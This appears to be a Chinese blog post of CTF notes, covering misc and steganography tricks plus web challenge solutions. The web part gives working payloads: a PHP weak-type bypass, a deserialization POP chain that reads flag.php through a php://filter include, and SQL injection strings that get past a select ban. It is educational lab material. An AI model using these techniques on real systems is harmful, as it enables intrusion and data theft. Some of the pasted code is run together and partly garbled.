• Misc思路



    大佬文章

    nepctf-签到题

    后缀改zip,分离出图片,继续解压
    用脚本解压

    import zipfile
    a="" 
    for i in range(232,2,-1):
        a=str(i)+".zip" 
        print(a) 
        # 打开压缩包并解压
        with zipfile.ZipFile(a) as zf:
            zf.extractall() 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    解压后得到一个pcap,需要把USB导出来
    usb.src == "1.51.1"

    DDCTF2018第四扩展FS

    分离出个压缩包,然后图片属性有密码,进行词频分析

    zip伪加密

    在这里插入图片描述

    [INSHack2018]42.tar.xz

    while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;
    
    strings flag
    
    • 1
    • 2
    • 3

    *CTF2019]otaku

    docx隐藏文字
    看压缩包猜测明文攻击
    转GBK编码看CRC

    f = open("C:/Users/lenovo/Desktop/1.txt", "w")
    s="Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can't contact Violet now. She must be desperate to see me and I don't want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don't play the Hearthstone, and I don't even know what is Rastakhan's Rumble."
    f.write(s)
    f.close()
    
    • 1
    • 2
    • 3
    • 4

    明文攻击 zsteg

    [BSidesSF2019]zippy

    MISC5 分离pcap 有个加密文件 密码要最终tcp

    BMZCTF CRC32 BOOM!

    文章

    冬奥会

    
    
    show_source(__FILE__);
    
    $Step1=False;
    $Step2=False;
    
    $info=(array)json_decode(@$_GET['Information']);
    
    if(is_array($info)){
    
        var_dump($info);
    
        is_numeric(@$info["year"])?die("Sorry~"):NULL;
        if(@$info["year"]){
            ($info["year"]=2022)?$Step1=True:NULL;
        }
        if(is_array(@$info["items"])){
            if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
            $status = array_search("skiing", $info["items"]);
            $status===false?die("Sorry~"):NULL;
            foreach($info["items"] as $key=>$val){
                $val==="skiing"?die("Sorry~"):NULL;
            }
            $Step2=True;
        }
    }
    
    if($Step1 && $Step2){
        include "2022flag.php";echo $flag;
    }
    ?> array(0) { }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • is_numeric()判断是否为数字或数字字符串
    • 有两个数组,那我们要创建个类把他们都封装进去
    • 最下面需要Step1和Step2都为True,那我们开始绕过
    • 在第一个变量$year中,首先需要传入进去的不是数字或数字字符串,而在下面的三元运算符,涉及到了比较。因为变量都是弱类型,所以只要涉及到变量之间的比较,就有可能触发这个漏洞,所以我们可以传入2022a
      php弱类型比较再回顾一下
    
    if("admin"==0) //true
    if("1admin"==1)//true
    if("admin1"==1)//false
    if("0e12324"=="0e1324")//true
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • !(is_array($info["items"][1])OR count($info["items"])!==3)需要让里面为false,又是or连接,所以两边都为false。第一个语句就是items数组第二个为array(0)

    这里我有个小疑问,为什么传入是array(0),不是0?
    做个测试

    
    $items=array(0,array(0),0);
    if(!is_array($items[1])) die("Sorry~");
    else
        die("yes");
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    很明显不是0.继续看题,注意前面有个is_array,也就是数组的意思。这下明白了

    • count 统计数组所有元素的数量,所以items应该是数组,且里面有三个变量
    • array_search 在数组中搜索给定的值,如果成功则返回首个相应的键名
    • 在第四个soory绕过中,我们发现不可以$val==="skiing",所以需要代替,这里学到,0是可以代替skiing
    • json_decode — 对 JSON 格式的字符串进行解码.所以最后我们要对类进行解码

    所以最后构造payload

    
    class a{
        public $year="2022a";
        public $items=array(0,array(0),0);
    }
    $aaa=new a();
    $z=json_encode($aaa);
    echo $z;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    最后get传参

    ?Information=$z
    
    • 1

    Pop2022

    
    
    echo 'Happy New Year~ MAKE A WISH
    '
    ; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    仍然是先找链子的头和尾,头部依然是一个GET传参,而在Try_Work_Hard类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Try_Work_Hard类中的__invoke()调用了append(),然后在Make_a_Change类中的__get()返回的是$function(),可以调用__invoke(),再往前Road_is_Long类中的__toString()可以调用__get(),然后在Road_is_Long类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了
    一篇类似图片
    在这里插入图片描述
    头 -> Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append -> 尾
    构造payload

    
    
    echo 'Happy New Year~ MAKE A WISH
    '
    ; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } $a=new Road_is_Long(); $b=new Road_is_Long(); $c=new Make_a_Change(); $d=new Try_Work_Hard(); //因为__invoke直接调用append,所以对append不进行改变 $a->source=$b; $b->str=$c; $c->p=$d; echo urlencode(serialize($a)); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    ?wish=上面的序列化
    
    • 1

    Easy-SQL

    • 记录一些函数
    Length()函数 返回字符串的长度
    substr()截取字符串
    ascii()返回字符的ascii码
    sleep(n):将程序挂起一段时间 n为n秒
    if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
    count(column_name)函数返回指定列的值的数目(NULL 不计入)
        COUNT(*):统计表中元组的个数
        COUNT([DISTINCT] <列名>):统计本列的列值个数,DISTINCT表示去掉重复值后再统计
        SUM(<列名>):计算列值的和值(必须是数值类型)
        AVG(<列名>):计算列值的平均值(必须是数值类型)
        MAX(<列名>):得到列的最大值
        MIN(<列名>):得到列的最小值
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • limit含义
      在这里插入图片描述

    在这里插入图片描述
    开始进行测试
    但是当我们使用联合查询时,发现select被ban了

    用这个语句进行测试,得到数据库security

    ?id=-1 union values row(1,database(),3)
    
    • 1

    我们需要直到security在第几个

    1' and ('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 1,1)
    
    • 1

    cale.php?%20num=var_dump(scandir(chr(47)))

    编码

    被劫持的神秘礼物

    (binwalk+账号密码MD5)

    gakki 字频统计

    (binwalk+四位数爆破+字频统计)

    outguess

    (binwalk 看010 outguess)/[WUSTCTF2020]alison_likes_jojo(binwalk,6位数爆破 base64 outguess)’

    [MRCTF2020]Hello_ misc

    (图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)

    singledog

    (binwalk 颜文字加密)

    [MRCTF2020]Hello_ misc

    (图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)

    蜘蛛侠呀

    [WUSTCTF2020]spaceclub(01转换)

    派大星的烦恼(editor有“D 01倒换)

    [MRCTF2020]pyFlag(三部分组成zip,暴力破解,IDLEbase解密)

    Business Planning Group(打开图片010,看图片结尾搜索IEND,看到bpg文件,打开即可转base64)

    [GUET-CTF2019]soul sipse(steghide+修改文件头+解码)

  • 相关阅读:
    vue项目刷新当前页面的推荐方式
    【趣味实践】Stable Diffusion绘制中秋美景
    el-tree横向纵向滚动条
    Elasticsearch 8.10 中引入查询规则 - query rules
    [蓝桥杯 2022 省 A] 推导部分和
    网络分层:构建信息交流的桥梁
    虚拟机VMware Workstation Pro安装配置使用服务器系统ubuntu-22.04.3-live-server-amd64.iso
    Yolov8-pose关键点检测:模型轻量化创新 |多尺度空洞注意力(MSDA)结合C2f | 中科院一区顶刊 DilateFormer 2023.9
    Android 12 适配攻略
    Redis
  • 原文地址:https://blog.csdn.net/qq_61109509/article/details/125905612